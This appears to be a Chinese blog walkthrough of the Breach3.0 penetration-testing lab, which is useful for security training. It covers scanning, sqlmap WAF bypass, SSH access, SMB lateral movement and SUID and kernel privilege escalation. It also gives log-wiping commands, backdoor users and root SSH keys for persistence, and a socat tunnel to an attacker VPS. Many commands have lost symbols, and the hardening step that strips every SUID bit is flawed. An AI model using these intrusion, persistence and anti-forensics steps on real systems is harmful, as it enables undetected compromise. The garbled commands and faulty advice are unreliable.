1. 项目概述Breach3.0内网靶场通关实战Breach3.0是一个经典的内网渗透测试靶场环境模拟了企业内网中常见的多层级网络架构。这个靶场包含Web应用漏洞、权限提升、横向移动等典型内网渗透场景是安全从业者练习综合渗透能力的绝佳平台。我在最近一次实战演练中完整通关了该靶场过程中遇到了SSH服务利用、SUID提权等关键技术点也踩了不少坑。下面将详细拆解整个渗透流程重点分享那些官方文档不会写的实战技巧。2. 环境准备与信息收集2.1 靶场环境搭建Breach3.0需要运行在VMware或VirtualBox虚拟化环境中建议分配至少2GB内存。首次启动时会提示设置网络适配器使用NAT模式连接外网段模拟公网入口内部网络使用Host-Only模式模拟企业内网确保kali攻击机与靶机在同一虚拟网络注意部分版本的VMware需要手动修改.vmx配置文件添加ethernet0.virtualDev e1000才能正常识别网卡2.2 基础信息探测使用nmap进行初步扫描时推荐以下参数组合nmap -sS -Pn -n -T4 --min-rate 1000 -p- 192.168.1.100这里特别说明参数选择逻辑-sSSYN扫描比全连接扫描更隐蔽-Pn跳过主机发现已知目标存活--min-rate 1000控制发包速度避免触发防护-p-全端口扫描内网环境常开放非常规端口3. 外网渗透突破3.1 Web应用漏洞利用靶场暴露的Web服务存在SQL注入漏洞但需要绕过WAFsqlmap -u http://target/search.php --dataid1* --tamperspace2comment --level3关键技巧使用*作为初始测试点比单引号更隐蔽space2commenttamper脚本将空格转为/**/有效绕过过滤获取数据库后优先查找包含credential关键词的表3.2 SSH服务突破获取到的凭证需要尝试SSH登录这里有个易错点ssh -o PreferredAuthenticationspassword -o PubkeyAuthenticationno usertarget参数说明强制密码认证避免因本地存在密钥导致失败如果遇到Too many authentication failures错误需添加-o IdentitiesOnlyyes4. 内网横向移动4.1 网络拓扑测绘使用如下命令快速绘制内网结构for i in {1..254}; do (ping -c 1 192.168.2.$i | grep bytes from ); done优化技巧通过timeout 0.5限制单次探测时间将结果通过管道传递给awk {print $4} | cut -d : -f 1提取纯净IP4.2 SMB服务利用发现内网存在SMB共享时推荐使用impacket工具包smbclient.py DOMAIN/user:passwordtarget常见问题处理遇到STATUS_ACCESS_DENIED错误时尝试添加-hashes :NTLM_HASH参数中文目录乱码问题可通过-codec gbk参数解决5. 权限提升技巧5.1 SUID提权实战查找具有SUID权限的可执行文件find / -perm -4000 -type f 2/dev/null重点检查以下高危程序/usr/bin/find可执行任意命令/usr/bin/vim通过:!bash提权/usr/bin/awk通过BEGIN模式执行系统命令5.2 内核漏洞利用当常规提权失败时需要检查内核版本uname -a cat /etc/*-release推荐使用预先编译好的exploitgcc -static exploit.c -o exploit chmod x exploit ./exploit重要提醒内网环境上传文件前务必先用file命令检查架构兼容性6. 痕迹清理与持久化6.1 日志清除方法针对不同日志的清理姿势# auth.log sed -i /your_username/d /var/log/auth.log # bash_history echo ~/.bash_history history -c进阶技巧使用shred -zu安全删除敏感文件修改文件时间戳touch -r /etc/passwd malicious_file6.2 后门部署方案SSH后门配置示例# 添加万能密码 echo backdoor:$(openssl passwd -1 password) /etc/passwd # 或者添加SSH密钥 mkdir -p /root/.ssh echo ssh-rsa AAAAB3... /root/.ssh/authorized_keys隐蔽性优化使用合法用户名如mysql或nginx设置合法最后登录时间chage -l backdoor_user7. 常见问题排查实录7.1 SSH连接问题集锦错误现象解决方案原理分析Connection refused检查netstat -tulnp确认服务监听可能防火墙拦截或服务未启动Permission denied确认/etc/ssh/sshd_config中PermitRootLogin配置新版OpenSSH默认禁止root登录Host key verification failed删除~/.ssh/known_hosts对应条目服务器密钥变更导致的安全机制7.2 内网穿透障碍当需要将内网服务映射到攻击机时推荐使用以下socat命令# 靶机执行将本地3306端口转发到公网服务器 socat TCP-LISTEN:3306,fork TCP:your_vps:4444 # 攻击机执行监听并转发到本地 socat TCP-LISTEN:4444,fork TCP:127.0.0.1:3306避坑指南避免使用常见端口如1080、8080配合nohup和实现后台运行企业内网可能拦截异常外联建议使用DNS隧道等隐蔽通道8. 防御建议与加固措施从防御者视角看Breach3.0暴露的问题SSH服务加固修改默认端口Port 62222禁用密码认证PasswordAuthentication no启用双因素认证AuthenticationMethods publickey,keyboard-interactiveSUID权限管控# 查找并移除不必要的SUID权限 find / -perm -4000 -exec chmod u-s {} \; # 特殊案例给find命令降权 chmod 0755 /usr/bin/find网络隔离策略实施VLAN划分设置防火墙白名单规则关键服务器启用MAC地址绑定这套靶场最值得关注的是它还原了真实内网中跳板机-应用服务器-数据库的典型攻击路径。我在反复演练中发现90%的内网渗透突破都源于初始立足点的信息收集不充分。建议新手在操作时养成记录每个环节获取凭证、IP、服务版本的习惯这对构建完整的攻击链路至关重要。